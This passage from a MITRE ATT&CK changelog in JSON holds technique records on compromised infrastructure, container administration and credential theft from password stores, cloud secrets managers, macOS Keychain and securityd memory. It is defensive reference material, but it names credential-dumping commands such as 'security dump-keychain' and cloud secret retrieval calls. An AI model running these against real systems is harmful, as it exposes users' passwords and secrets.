Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Talos DNSpionage Nov 2018", + "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", + "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html" + }, + { + "source_name": "NSA NCSC Turla OilRig", + "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", + "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeremy Galloway", + "Shailesh Tiwary (Indian Army)", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content", + "Domain Name: Domain Registration", + "Domain Name: Active DNS", + "Domain Name: Passive DNS", + "Internet Scan: Response Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:06:03.570000+00:00\", \"old_value\": \"2024-03-28 03:53:28.299000+00:00\"}, \"root['x_mitre_contributors'][2]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)", + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-28 03:29:35.616000+00:00", + "modified": "2024-10-15 15:10:59.530000+00:00", + "name": "Network Devices", + "description": "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.\n\nOnce an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.\n\nAdversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nCompromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/008", + "external_id": "T1584.008" + }, + { + "source_name": "Wired Russia Cyberwar", + "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.", + "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "Justice GRU 2024", + "description": "Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation\u2019s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.", + "url": "https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Gavin Knapp" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:10:59.530000+00:00\", \"old_value\": \"2024-04-19 12:24:40.659000+00:00\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:01:00.176000+00:00", + "modified": "2024-10-15 16:44:09.114000+00:00", + "name": "Web Services", + "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/006", + "external_id": "T1584.006" + }, + { + "source_name": "Recorded Future Turla Infra 2020", + "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/turla-apt-infrastructure" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:44:09.114000+00:00\", \"old_value\": \"2023-04-12 20:19:21.620000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Insikt Group. (2020, March 12). Swallowing the Snake\\u2019s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.\", \"old_value\": \"Insikt Group. (2020, March 12). Swallowing the Snake\\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.recordedfuture.com/research/turla-apt-infrastructure\", \"old_value\": \"https://www.recordedfuture.com/turla-apt-infrastructure/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-29 16:39:26.183000+00:00", + "modified": "2024-10-15 16:25:45.507000+00:00", + "name": "Container Administration Command", + "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1609", + "external_id": "T1609" + }, + { + "source_name": "Docker Exec", + "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/reference/commandline/exec/" + }, + { + "source_name": "Docker Entrypoint", + "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime" + }, + { + "source_name": "Docker Daemon CLI", + "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.", + "url": "https://docs.docker.com/engine/reference/commandline/dockerd/" + }, + { + "source_name": "Kubectl Exec Get Shell", + "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/" + }, + { + "source_name": "Kubernetes Kubelet", + "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/" + }, + { + "source_name": "Kubernetes API", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Brad Geesaman, @bradgeesaman", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:25:45.507000+00:00\", \"old_value\": \"2023-04-15 16:03:19.642000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1035: Limit Access to Resource Over Network", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:48:28.456000+00:00", + "modified": "2024-10-15 14:57:46.850000+00:00", + "name": "Credentials from Password Stores", + "description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555", + "external_id": "T1555" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Process: Process Access", + "Cloud Service: Cloud Service Enumeration", + "Process: Process Creation", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 14:57:46.850000+00:00\", \"old_value\": \"2024-02-26 14:19:09.417000+00:00\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0025: Cloud Service (Cloud Service Enumeration)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-25 12:41:26.501000+00:00", + "modified": "2024-10-15 14:20:16.722000+00:00", + "name": "Cloud Secrets Management Stores", + "description": "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. \n\nIf an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/006", + "external_id": "T1555.006" + }, + { + "source_name": "Sysdig ScarletEel 2.0 2023", + "description": "Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.", + "url": "https://sysdig.com/blog/scarleteel-2-0/" + }, + { + "source_name": "AWS Secrets Manager", + "description": "AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.", + "url": "https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html" + }, + { + "source_name": "Google Cloud Secrets", + "description": "Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.", + "url": "https://cloud.google.com/secret-manager/docs/view-secret-details" + }, + { + "source_name": "Permiso Scattered Spider 2023", + "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.", + "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud" + }, + { + "source_name": "Microsoft Azure Key Vault", + "description": "Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.", + "url": "https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Martin McCloskey, Datadog" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Enumeration" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 14:20:16.722000+00:00\", \"old_value\": \"2023-09-30 20:24:19.357000+00:00\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0025: Cloud Service (Cloud Service Enumeration)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 18:55:24.728000+00:00", + "modified": "2024-10-15 16:35:39.985000+00:00", + "name": "Keychain", + "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/001", + "external_id": "T1555.001" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.", + "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418" + }, + { + "source_name": "Keychain Services Apple", + "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.", + "url": "https://developer.apple.com/documentation/security/keychain_services" + }, + { + "source_name": "Empire Keychain Decrypt", + "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.", + "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py" + }, + { + "source_name": "OSX Keychain Schaumann", + "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.", + "url": "https://www.netmeister.org/blog/keychain-passwords.html" + }, + { + "source_name": "Keychain Decryption Passware", + "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.", + "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Process: OS API Execution", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:35:39.985000+00:00\", \"old_value\": \"2022-04-18 20:32:22.122000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.\", \"old_value\": \"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418\", \"old_value\": \"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 18:56:31.051000+00:00", + "modified": "2024-10-15 16:41:18.638000+00:00", + "name": "Securityd Memory", + "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1555/002", + "external_id": "T1555.002" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.", + "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418" + }, + { + "source_name": "Apple Dev SecurityD", + "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.", + "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html" + }, + { + "source_name": "OS X Keychain", + "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.", + "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + 